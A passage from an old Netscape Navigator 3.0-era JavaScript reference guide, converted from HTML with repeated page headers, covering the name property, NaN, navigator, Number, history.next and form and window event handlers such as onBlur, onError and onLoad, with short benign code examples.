objectName is either the value of the NAME attribute of any of the objects listed below or an element in the elements array. frameReference is a valid way of referring to a frame, as described in the Frame object. radioName is the value of the NAME attribute of a Radio object. selectName is either the value of the NAME attribute of a Select object or an element in the elements array. imageName is either the value of the NAME attribute of a Image object or an element in the images array. index is either an integer representing a plug-in installed on the client or a string containing the name of a Plugin object (from the name property). windowReference is a valid way of referring to a window, as described in the window object.

Property of
Button object, Checkbox object, FileUpload object, Form object, Frame object, Hidden object, Image object, Password object, Plugin object, Radio object, Reset object, Select object, Submit object, Text object, Textarea object, window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of FileUpload, Form, Image, and Plugin objects

Tainted?
Yes

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (11 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

The value of the name property differs between the window object and other objects. The name property is a read-only property for the FileUpload object, Image object, and Plugin object. window object The name property for the window object is represented by form 7 and form 8 of the syntax. The name property represents the value of the windowName argument described in the window object syntax. Both forms of the syntax represent the same value. name is a read-only property. Image and Plugin objects The name property for Image and Plugin objects is represented by forms 5-6 of the syntax.
q

For Image objects, the name property represents the value of the NAME attribute. For images created with the Image() constructor, the value of the name property is null. For Plugin objects, the name property is the plug-in's name and is supplied by the plug-in itself. Each plug-in should have a name that uniquely identifies it.

name is a read-only property. All other objects The name property for all other objects is represented by forms 1 through 4 of the syntax. For all objects except Image, Plugin, and window, the name property initially reflects the value of the NAME attribute. Changing the name property overrides this setting. You can set the name property at any time. The name property is the same for every radio button in a single Radio object. Individual radio buttons are referenced by their position in the Radio array. Do not confuse the name property with the label displayed on a Button, Reset, or Submit object. The value property specifies the label for these objects. The name property is not displayed on-screen; it is used to reference the objects programmatically. For a Frame object, the values specified by forms 1, 2, and 3 of the syntax are the same. If multiple objects on the same form have the same NAME attribute, an array of the given name is created automatically. Each element in the array represents an individual Form object. Elements are indexed in source order starting at zero. For example, if two text elements and a textarea element on the same form have their NAME attribute set to "myField," an array with the elements myField[0], myField[1], and myField[2] is created.

Examples
In the following example, the valueGetter function uses a for loop to iterate over the array of elements on the valueTest
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (12 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

form. The msgWindow window displays the names of all the elements on the form: newWindow=window.open("http://home.netscape.com") function valueGetter() { var msgWindow=window.open("") for (var i = 0; i < newWindow.document.valueTest.elements.length; i++) { msgWindow.document.write(newWindow.document.valueTest.elements[i].name + "<BR>") } } In the following example, the first statement creates a window called netscapeWin. The second statement displays the value "netscapeHomePage" in the Alert dialog box, because "netscapeHomePage" is the value of the windowName argument of netscapeWin. netscapeWin=window.open("http://home.netscape.com","netscapeHomePage") alert(netscapeWin.name) For Plugin objects, see the examples for the Plugin object.

See also
For button, reset, and submit: value property For Plugin: description, filename, length properties

NaN
Property. A special value representing Not-A-Number. This value is represented as the unquoted literal NaN.

Syntax
Number.NaN

Property of
Number

Implemented in
Navigator 3.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (13 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Tainted?
No

Description
JavaScript prints the value Number.NaN as NaN. NaN always compares unequal to any other number, including NaN itself; you cannot check for the not-a-number value by comparing to Number.NaN. Use the isNaN function insead. You might use the NaN property to indicate an error condition for a function that should return a valid number. Because NaN is a constant, it is a read-only property of Number.

Examples
In the following example, if month has a value greater than 12, it is assigned NaN, and a message is displayed indicating valid values. var month = 13 if (month < 1 || month > 12) { month = Number.NaN alert("Month must be between 1 and 12.") }

See also
MAX_VALUE, MIN_VALUE, NEGATIVE_INFINITY, POSITIVE_INFINITY properties; isNaN, parseFloat, parseInt functions

navigator
Object. Contains information about the version of Navigator in use.

Syntax
To use a navigator object: 1. navigator.propertyName 2. navigator.methodName

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (14 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Parameters
propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
None

Implemented in
q q

Navigator 2.0 Navigator 3.0: added mimeTypes, plugins properties; added javaEnabled method

Description
Use the navigator object to determine which version of the Navigator your users have, what MIME types the user's Navigator can handle, and what plug-ins the user has installed.

Properties
The navigator object has the following properties:

Property appName appVersion mimeTypes plugins userAgent

Description Specifies the name of the browser Specifies version information for the Navigator An array of all MIME types supported by the client An array of all plug-ins currently installed on the client Specifies the user-agent header

appCodeName Specifies the code name of the browser

Methods
The navigator object has the following methods:

q q q

eval javaEnabled taintEnabled

q q

toString valueOf

Event handlers

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (15 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

None.

Examples
See the examples for the individual properties and methods.

NEGATIVE_INFINITY
Property. A special numeric value representing negative infinity. This value is represented as "-Infinity".

Syntax
Number.NEGATIVE_INFINITY

Property of
Number

Implemented in
Navigator 3.0

Tainted?
No

Description
This value behaves mathematically like an infinity; for example, anything multiplied by infinity is infinity, and anything divided by infinity is zero. Because NEGATIVE_INFINITY is a constant, it is a read-only property of Number.

Examples
In the following example, the variable smallNumber is assigned a value that is smaller than the minimum value. When the if statement executes, smallNumber has the value "-Infinity", so the func1 function is called. var smallNumber = -Number.MAX_VALUE*10 if (smallNumber == Number.NEGATIVE_INFINITY) func1() else
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (16 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

func2()

See also
MAX_VALUE, MIN_VALUE, NaN, POSITIVE_INFINITY properties

next
Property. A string specifying the complete URL of the next history entry.

Syntax
history.next

Property of
history object

Implemented in
Navigator 3.0

Tainted?
Yes

Description
The next property reflects the URL that would be used if the user chose Forward from the Go menu. This property has a value only if data tainting is enabled; if data tainting is not enabled, next has no value. next is a read-only property.

Examples
The following example determines whether history.next contains the string "NETSCAPE.COM". If it does, the function myFunction is called. if (history.next.indexOf("NETSCAPE.COM") != -1) { myFunction(history.next) }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (17 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

See also
current, previous properties; "Using data tainting for security"

Number
Object. Lets you work with numeric values. The Number object is an object wrapper for primitive numeric values.

Syntax
To create a Number object: numberObjectName = new Number() To use a Number object: numberObjectName.propertyName

Parameters
numberObjectName is either the name of a new object or a property of an existing object. When using Number properties, numberObjectName is either the name of an existing Number object or a property of an existing object. propertyName is one of the properties listed below.

Property of
None

Implemented in
Navigator 3.0

Description
The Number object is a built-in JavaScript object. The primary uses for the Number object are:
q

To access its constant properties, which represent the largest and smallest representable numbers, positive and negative infinity, and the Not-a-Number value. To create numeric objects that you can add properties to. Most likely, you will rarely need to create a Number

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (18 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

object.

Properties
The Number object has the following properties:

Property MAX_VALUE MIN_VALUE NaN

Description The largest representable number The smallest representable number Special "not a number" value

NEGATIVE_INFINITY Special infinite value; returned on overflow POSITIVE_INFINITY prototype Special negative infinite value; returned on overflow Lets you add a properties to a Number object.

Methods
q q q

eval toString valueOf

Event handlers
None.

Examples
Example 1. The following example uses the Number object's properties to assign values to several numeric variables: biggestNum = Number.MAX_VALUE smallestNum = Number.MIN_VALUE infiniteNum = Number.POSITIVE_INFINITY negInfiniteNum = Number.NEGATIVE_INFINITY notANum = Number.NaN Note that these properties are properties of the Number() constructor itself, not of individual Number objects. Example 2. The following example creates a Number object, myNum, then adds a description property to all Number objects. Then a value is assigned to the myNum object's description property. myNum = new Number(65) Number.prototype.description=null myNum.description="wind speed"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (19 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

onAbort
Event handler. An abort event occurs when the user aborts the loading of an image (for example by clicking a link or clicking the Stop button). The onAbort event handler executes JavaScript code when an abort event occurs. See the relevant objects for the onAbort syntax.

Event handler of
Image

Implemented in
Navigator 3.0

Examples
In the following example, an onAbort handler in an Image object displays a message when the user aborts the image load: <IMG NAME="aircraft" SRC="f15e.gif" onAbort="alert('You didn\'t get to see the image!')">

See also
onError, onLoad event handlers

onBlur
Event handler. A blur event occurs when a form element loses focus or when a window or frame loses focus. The blur event can result from a blur method or from the user clicking the mouse on another object or window or tabbing with the keyboard. The onBlur event handler executes JavaScript code when a blur event occurs. For windows, frames, and framesets, the onBlur event handler specifies JavaScript code to execute when a window loses focus. A frame's onBlur event handler overrides an onBlur event handler in the <BODY> tag of the document loaded into frame. Note

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (20 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

On some platforms, placing an onBlur event handler in a <FRAMESET> tag has no effect. Please see the release notes (after starting Netscape, choose Release Notes from the Help menu). See the relevant objects for the onBlur syntax.

Event handler of
Button object, Checkbox object, FileUpload object, Frame object, Password object, Radio object, Reset object, Select object, Submit object, Text object, Textarea object, window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: event handler of Button, Checkbox, FileUpload, Frame, Password, Radio, Reset, Submit, and window

Examples
Example 1: Validate form input. In the following example, userName is a required text field. When a user attempts to leave the field, the onBlur event handler calls the required function to confirm that userName has a legal value. <INPUT TYPE="text" VALUE="" NAME="userName" onBlur="required(this.value)"> Example 2: Change the background color of a window. In the following example, a window's onBlur and onFocus event handlers change the window's background color depending on whether the window has focus. <BODY BGCOLOR="lightgrey" onBlur="document.bgColor='lightgrey'" onFocus="document.bgColor='antiquewhite'"> Example 3: Change the background color of a frame. The following example creates four frames. The source for each frame, onblur2.html has the <BODY> tag with the onBlur and onFocus event handlers shown in Example 1. When the document loads, all frames are "lightgrey". When the user clicks a frame, the onFocus event handler changes the frame's background color to "antiquewhite". The frame that loses focus is changed to "lightgrey". Note that the onBlur and onFocus event handlers are within the <BODY> tag, not the <FRAME> tag. <FRAMESET ROWS="50%,50%" COLS="40%,60%"> <FRAME SRC=onblur2.html NAME="frame1"> <FRAME SRC=onblur2.html NAME="frame2"> <FRAME SRC=onblur2.html NAME="frame3"> <FRAME SRC=onblur2.html NAME="frame4"> </FRAMESET> The following code has the same effect as the previous code, but is implemented differently. The onFocus and onBlur event handlers are associated with the frame, not the document. The onBlur and onFocus event handlers for the frame are specified by setting the onblur and onfocus properties. For information on using new to specify a string of JavaScript

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (21 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

code to be compiled as a function, see the Function object. <SCRIPT> function setUpHandlers() { for (var i = 0; i < frames.length; i++) { frames[i].onfocus=new Function("document.bgColor='antiquewhite'") frames[i].onblur=new Function("document.bgColor='lightgrey'") } } </SCRIPT> <FRAMESET ROWS="50%,50%" COLS="40%,60%" onLoad=setUpHandlers()> <FRAME SRC=onblur2.html NAME="frame1"> <FRAME SRC=onblur2.html NAME="frame2"> <FRAME SRC=onblur2.html NAME="frame3"> <FRAME SRC=onblur2.html NAME="frame4"> </FRAMESET> Example 4: Close a window. In the following example, a window's onBlur event handler closes the window when the window loses focus. <BODY onBlur="window.close()"> This is some text </BODY>

See also
onChange, onFocus event handlers

onChange
Event handler. A change event occurs when a select, text, or textarea field loses focus and its value has been modified. The onChange event handler executes JavaScript code when a change event occurs. Use the onChange event handler to validate data after it is modified by a user. See the relevant objects for the onChange syntax.

Event handler of
FileUpload object, Select object, Text object, Textarea object

Implemented in
q

Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (22 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm
q

Navigator 3.0: event handler of FileUpload

Examples
In the following example, userName is a text field. When a user changes the text and leaves the field, the onChange event handler calls the checkValue function to confirm that userName has a legal value. <INPUT TYPE="text" VALUE="" NAME="userName" onChange="checkValue(this.value)">

See also
onBlur, onFocus event handlers

onClick
Event handler. A click event occurs when an object on a form is clicked. The onClick event handler executes JavaScript code when a click event occurs. For checkboxes, links, radio buttons, reset buttons, and submit buttons, the onClick event handler can return false to cancel the action normally associated with a click event. For example, the following code creates a hyperlink that, when clicked, displays a confirm dialog box. If the user clicks the hyperlink and then chooses cancel, the page specified by the hyperlink is not loaded. <A HREF = "http://home.netscape.com/" onClick="return confirm('Load Netscape home page?')">Netscape</A> Returning false in an onClick event handler for a button has no effect. Note On some platforms, returning false in an onClick event handler for a reset button has no effect. Please see the release notes (after starting Netscape, choose Release Notes from the Help menu). See the relevant objects for the onClick syntax.

Event handler of
Button object, Checkbox object, Link object, Radio object, Reset object, Submit object

Implemented in
q

Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (23 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm
q

Navigator 3.0: added the ability to return false to cancel the action associated with a click event

Examples
Example 1: Call a function when a user clicks a button. Suppose you have created a JavaScript function called compute. You can execute the compute function when the user clicks a button by calling the function in the onClick event handler, as follows: <INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)"> In the preceding example, the keyword this refers to the current object; in this case, the Calculate button. The construct this.form refers to the form containing the button. For another example, suppose you have created a JavaScript function called pickRandomURL that lets you select a URL at random. You can use the onClick event handler of a link to specify a value for the HREF attribute of the <A> tag dynamically, as shown in the following example: <A HREF="" onClick="this.href=pickRandomURL()" onMouseOver="window.status='Pick a random URL'; return true"> Go!</A> In the above example, the onMouseOver event handler specifies a custom message for the Navigator status bar when the user places the mouse pointer over the Go! anchor. As this example shows, you must return true to set the window.status property in the onMouseOver event handler. Example 2: Cancel the checking of a checkbox. The following example creates a checkbox with an onClick event handler. The event handler displays a confirm that warns the user that checking the checkbox purges all files. If the user chooses Cancel, the onClick event handler returns false and the checkbox is not checked. <INPUT TYPE="checkbox" NAME="check1" VALUE="check1" onClick="return confirm('This purges all your files. Are you sure?')"> Remove files

onError
Event handler. An error event occurs when the loading of a document or image causes an error. The onError event handler executes JavaScript code when an error event occurs. An error event occurs only when a JavaScript syntax or runtime error occurs, not when a Navigator error occurs. For example, if you try set window.location.href='notThere.html' and notThere.html does not exist, the resulting error message is a Navigator error message; therefore, an onError event handler would not intercept that message. However, an error event is triggered by a bad URL within an <IMG> tag or by corrupted image data.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (24 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

window.onerror applies only to errors that occur in the window containing window.onerror, not in other windows. The onError event handler can be any of the following:
q

null to suppress all JavaScript error dialogs. Setting window.onerror to null means your users won't see JavaScript errors caused by your own code. The name of a function that handles errors (arguments are message text, URL, and line number of the offending line). To suppress the standard JavaScript error dialog, the function must return true. See Example 3 below. A variable or property that contains null or a valid function reference.

If you write an error-handling function, you have three options for reporting errors:
q

q q

Trace errors but let the standard JavaScript dialog report them (use an error handling function that returns false or does not return a value) Report errors yourself and disable the standard error dialog (use an error handling function that returns true) Turn off all error reporting (set the onError event handler to null)

See the relevant objects for the onError syntax.

Event handler of
Image object, window object

Implemented in
Navigator 3.0

Examples
Example 1: Null event handler. In the following <IMG> tag, the code onError="null" suppresses error messages if errors occur when the image loads. <IMG NAME="imageBad1" SRC="corrupt.gif" ALIGN="left" BORDER="2" onError="null"> Example 2: Null event handler for a window. The onError event handler for windows cannot be expressed in HTML. Therefore, you must spell it all lowercase and set it in a <SCRIPT> tag. The following code assigns null to the onError handler for the entire window, not just the Image object. This suppresses all JavaScript error messages, including those for the Image object. <SCRIPT> window.onerror=null </SCRIPT> <IMG NAME="imageBad1" SRC="corrupt.gif" ALIGN="left" BORDER="2"> However, if the Image object has a custom onError event handler, the handler would execute if the image had an error.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (25 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

This is because window.onerror=null suppresses JavaScript error messages, not onError event handlers. <SCRIPT> window.onerror=null function myErrorFunc() { alert("The image had a nasty error.") } </SCRIPT> <IMG NAME="imageBad1" SRC="corrupt.gif" ALIGN="left" BORDER="2" onError="myErrorFunc()"> In the following example, window.onerror=null suppresses all error reporting. Without onerror=null, the code would cause a stack overflow error because of infinite recursion. <SCRIPT> window.onerror = null; function testErrorFunction() { testErrorFunction(); } </SCRIPT> <BODY onload="testErrorFunction()"> test message </BODY> Example 3: Error handling function. The following example defines a function, myOnError, that intercepts JavaScript errors. The function uses three arrays to store the message, URL, and line number for each error. When the user clicks the Display Error Report button, the displayErrors function opens a window and creates an error report in that window. Note that the function returns true to suppress the standard JavaScript error dialog. <SCRIPT> window.onerror = myOnError msgArray = new Array() urlArray = new Array() lnoArray = new Array() function myOnError(msg, url, lno) { msgArray[msgArray.length] = msg urlArray[urlArray.length] = url lnoArray[lnoArray.length] = lno return true } function displayErrors() { win2=window.open('','window2','scrollbars=yes') win2.document.writeln('<B>Error Report</B><P>') for (var i=0; i < msgArray.length; i++) { win2.document.writeln('<B>Error in file:</B> ' + urlArray[i] + '<BR>') win2.document.writeln('<B>Line number:</B> ' + lnoArray[i] + '<BR>') win2.document.writeln('<B>Message:</B> ' + msgArray[i] + '<P>') } win2.document.close()
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (26 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

} </SCRIPT> <BODY onload="noSuchFunction()"> <FORM> <BR><INPUT TYPE="button" VALUE="This button has a syntax error" onClick="alert('unterminated string)"> <P><INPUT TYPE="button" VALUE="Display Error Report" onClick="displayErrors()"> </FORM> This example produces the following output: Error Report Error in file: file:///c%7C/temp/onerror.html Line number: 34 Message: unterminated string literal Error in file: file:///c%7C/temp/onerror.html Line number: 34 Message: missing ) after argument list Error in file: file:///c%7C/temp/onerror.html Line number: 30 Message: noSuchFunction is not defined Example 4: Event handler calls a function. In the following <IMG> tag, the onError event handler calls the function badImage if errors occur when the image loads. <SCRIPT> function badImage(theImage) { alert('Error: ' + theImage.name + ' did not load properly.') } </SCRIPT> <FORM> <IMG NAME="imageBad2" SRC="orca.gif" ALIGN="left" BORDER="2" onError="badImage(this)"> </FORM>

See also
onAbort, onLoad event handlers

onFocus
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (27 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Event handler. A focus event occurs when a window, frame, or frameset receives focus or when a form element receives input focus. The focus event can result from a focus method or from the user clicking the mouse on an object or window or tabbing with the keyboard. Selecting within a field results in a select event, not a focus event. The onFocus event handler executes JavaScript code when a focus event occurs. A frame's onFocus event handler overrides an onFocus event handler in the <BODY> tag of the document loaded into frame. Note that placing an alert in an onFocus event handler results in recurrent alerts: when you press OK to dismiss the alert, the underlying window gains focus again and produces another focus event. Note On some platforms, placing an onFocus event handler in a <FRAMESET> tag has no effect. Please see the release notes (after starting Netscape, choose Release Notes from the Help menu). See the relevant objects for the onFocus syntax.

Event handler of
Button object, Checkbox object, FileUpload object, Frame object, Password object, Radio object, Reset object, Select object, Submit object, Text object, Textarea object, window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: event handler of Button, Checkbox, FileUpload, Frame, Password, Radio, Reset, Submit, and window

Examples
The following example uses an onFocus handler in the valueField Textarea object to call the valueCheck function. <INPUT TYPE="textarea" VALUE="" NAME="valueField" onFocus="valueCheck()"> See also the examples for the onBlur event handler.

See also
onBlur, onChange event handlers

onLoad
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (28 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Event handler. A load event occurs when Navigator finishes loading a window or all frames within a <FRAMESET> tag. The onLoad event handler executes JavaScript code when a load event occurs. Use the onLoad event handler within either the BODY or the <FRAMESET> tag, for example, <BODY onLoad="...">. In a FRAMESET and FRAME relationship, an onLoad event within a frame (placed in the <BODY> tag) occurs before an onLoad event within the FRAMESET (placed in the <FRAMESET> tag). For images, the onLoad event handler indicates the script to execute when an image is displayed. Do not confuse displaying an image with loading an image. You can load several images, then display them one by one in the same Image object by setting the object's src property. If you change the image displayed in this way, the onLoad event handler executes every time an image is displayed, not just when the image is loaded into memory. If you specify an onLoad event handler for an Image object that displays a looping GIF animation (multi-image GIF), each loop of the animation triggers the onLoad event, and the event handler executes once for each loop. You can use the onLoad event handler to create a JavaScript animation by repeatedly setting the src property of an Image object. See the Image object for information.

Event handler of
Image object, window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: event handler of Image

Examples
Example 1: Display message when page loads. In the following example, the onLoad event handler displays a greeting message after a Web page is loaded. <BODY onLoad="window.alert("Welcome to the Brave New World home page!")> Example 2: Display alert when image loads. The following example creates two Image objects, one with the Image() constructor and one with the <IMG> tag. Each Image object has an onLoad event handler that calls the displayAlert function, which displays an alert. For the image created with the <IMG> tag, the alert displays the image name. For the image created with the Image() constructor, the alert displays a message without the image name. This is because the onLoad handler for an object created with the Image() constructor must be the name of a function, and it cannot specify parameters for the displayAlert function. <SCRIPT> imageA = new Image(50,50) imageA.onload=displayAlert

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (29 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

imageA.src="cyanball.gif" function displayAlert(theImage) { if (theImage==null) { alert('An image loaded') } else alert(theImage.name + ' has been loaded.') } </SCRIPT> <IMG NAME="imageB" SRC="greenball.gif" ALIGN="top" onLoad=displayAlert(this)><BR> Example 3: Looping GIF animation. The following example displays an image, birdie.gif, that is a looping GIF animation. The onLoad event handler for the image increments the variable cycles, which keeps track of the number of times the animation has looped. To see the value of cycles, the user clicks the button labeled Count Loops. <SCRIPT> var cycles=0 </SCRIPT> <IMG ALIGN="top" SRC="birdie.gif" BORDER=0 onLoad="++cycles"> <INPUT TYPE="button" VALUE="Count Loops" onClick="alert('The animation has looped ' + cycles + ' times.')"> Example 4: Change GIF animation displayed. The following example uses an onLoad event handler to rotate the display of six GIF animations. Each animation is displayed in sequence in one Image object. When the document loads, !anim0.html is displayed. When that animation completes, the onLoad event handler causes the next file, !anim1.html, to load in place of the first file. After the last animation, !anim5.html, completes, the first file is again displayed. Notice that the changeAnimation function does not call itself after changing the src property of the Image object. This is because when the src property changes, the image's onLoad event handler is triggered and the changeAnimation function is called. <SCRIPT> var whichImage=0 var maxImages=5 function changeAnimation(theImage) { ++whichImage if (whichImage <= maxImages) { var imageName="!anim" + whichImage + ".gif" theImage.src=imageName } else { whichImage=-1 return } } </SCRIPT> <IMG NAME="changingAnimation" SRC="!anim0.gif" BORDER=0 ALIGN="top" onLoad="changeAnimation(this)"> See also the examples for the Image object.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (30 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

See also
onAbort, onError, onUnload event handlers

onMouseOut
Event handler. A mouseOut event occurs each time the mouse pointer leaves an area (client-side image map) or link from inside that area or link. The onMouseOut event handler executes JavaScript code when a mouseOut event occurs. If the mouse moves from one area into another in a client-side image map, you'll get onMouseOut for the first area, then onMouseOver for the second. Area objects that use the onMouseOut event handler must include the HREF attribute within the <AREA> tag. You must return true within the event handler if you want to set the status or defaultStatus properties with the onMouseOver event handler. See the relevant objects for the onMouseOut syntax.

Event handler of
Area object (see Link object), Link object

Implemented in
Navigator 3.0

Examples
See the examples for the Link object.

See also
onMouseOver event handler

onMouseOver
Event handler. A mouseOver event occurs once each time the mouse pointer moves over an object or area from outside
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (31 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

that object or area. The onMouseOver event handler executes JavaScript code when a mouseOver event occurs. If the mouse moves from one area into another in a client-side image map, you'll get onMouseOut for the first area, then onMouseOver for the second. Area objects that use the onMouseOver event handler must include the HREF attribute within the <AREA> tag. You must return true within the event handler if you want to set the status or defaultStatus properties with the onMouseOver event handler. See the relevant objects for the onMouseOver syntax.

Event handler of
Area object (see Link object), Link object

Implemented in
q q

Navigator 2.0 Navigator 3.0: event handler of Area

Examples
By default, the HREF value of an anchor displays in the status bar at the bottom of the Navigator when a user places the mouse pointer over the anchor. In the following example, the onMouseOver event handler provides the custom message "Click this if you dare." <A HREF="http://home.netscape.com/" onMouseOver="window.status='Click this if you dare!'; return true"> Click me</A> See onClick for an example of using onMouseOver when the <A> tag's HREF attribute is set dynamically. See also the examples for the Link object.

See also
onMouseOut event handler

onReset
Event handler. A reset event occurs when a user resets a form (clicks a Reset button). The onReset event handler executes JavaScript code when a reset event occurs.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (32 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

See the relevant objects for the onReset syntax.

Event handler of
Form object

Implemented in
Navigator 3.0

Examples
The following example displays a Text object with the default value "CA" and a reset button. If the user types a state abbreviation in the Text object and then clicks the reset button, the original value of "CA" is restored. The form's onReset event handler displays a message indicating that defaults have been restored. <FORM NAME="form1" onReset="alert('Defaults have been restored.')"> State: <INPUT TYPE="text" NAME="state" VALUE="CA" SIZE="2"><P> <INPUT TYPE="reset" VALUE="Clear Form" NAME="reset1"> </FORM>

See also
reset method, Reset object

onSelect
Event handler. A select event occurs when a user selects some of the text within a text or textarea field. The onSelect event handler executes JavaScript code when a select event occurs. See the relevant objects for the onSelect syntax.

Event handler of
Text object, Textarea object

Implemented in
Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (33 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Examples
The following example uses an onSelect handler in the valueField Text object to call the selectState function. <INPUT TYPE="text" VALUE="" NAME="valueField" onSelect="selectState()">

onSubmit
Event handler. A submit event occurs when a user submits a form. The onSubmit event handler executes JavaScript code when a submit event occurs. You can use the onSubmit event handler to prevent a form from being submitted; to do so, put a return statement that returns false in the event handler. Any other returned value lets the form submit. If you omit the return statement, the form is submitted. See the relevant objects for the onSubmit syntax.

Event handler of
Form object

Implemented in
Navigator 2.0

Examples
In the following example, the onSubmit event handler calls the validate function to evaluate the data being submitted. If the data is valid, the form is submitted; otherwise, the form is not submitted. <FORM onSubmit="return validate(this)"> ... </FORM> See also the examples for the Form object.

See also
Submit object, submit method

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (34 of 64) [30/08/2003 9:34:26 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

onUnload
Event handler. An unload event occurs when you exit a document. The onUnload event handler executes JavaScript code when an unload event occurs. Use the onUnload event handler within either the BODY or the <FRAMESET> tag, for example, <BODY onUnload="...">. In a frameset and frame relationship, an onUnload event within a frame (placed in the <BODY> tag) occurs before an onUnload event within the frameset (placed in the <FRAMESET> tag).

Event handler of
window object

Implemented in
Navigator 2.0

Examples
In the following example, the onUnload event handler calls the cleanUp function to perform some shutdown processing when the user exits a Web page: <BODY onUnload="cleanUp()">

See also
onLoad event handler

open (document object)


Method. Opens a stream to collect the output of write or writeln methods.

Syntax
document.open(["mimeType"]) [windowReference.]document.open("text/html","replace")

Parameters

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (35 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

